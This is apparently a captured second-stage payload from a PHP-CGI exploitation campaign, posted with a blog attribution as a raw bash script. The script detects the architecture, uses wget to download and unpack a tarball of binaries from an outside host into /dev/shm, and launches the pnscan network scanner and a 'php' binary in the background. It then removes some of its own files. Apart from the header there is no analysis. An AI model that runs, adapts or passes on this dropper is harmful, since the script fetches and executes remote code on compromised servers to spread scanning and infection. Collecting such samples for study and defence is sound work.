PHP-CGI exploitation - Stage 2 'ru'

###
@tehsyntx
thembits.blogspot.com
###

#!/bin/bash
dontrun=""
arch=`uname -m`
cd /dev/shm
function runPnscan()
{

cd /dev/shm
chmod +x pnscan php
bash run &

}

function isPnscanOn()
{
        pid=`pidof pnscan`
        if [ "$pid" == "" ];then

                retval=0
        else
                retval=1
        fi
        echo "$retval"
}
        cd /dev/shm
        if [ ! -f pnscan ];then
        case "$arch" in
                "x86_64")
                wget -q http://bont.hu/ar/64.tgz -O 64.tgz
                tar xvzf 64.tgz
        rm -rf 64.tgz
                ;;
                *)
                wget -q http://bont.hu/ar/86.tgz -O 86.tgz
                tar xvzf 86.tgz
        rm -rf 86.tgz
                ;;
        esac
        fi


if [ $(isPnscanOn) == 1 ];then
#        echo "Running"
        exit
else
        echo "Not Running"
        if [ "$dontrun" != "1" ];then
                $(runPnscan)
        fi
fi
rm -rf /dev/shm/run
rm -rf /dev/shm/pnscan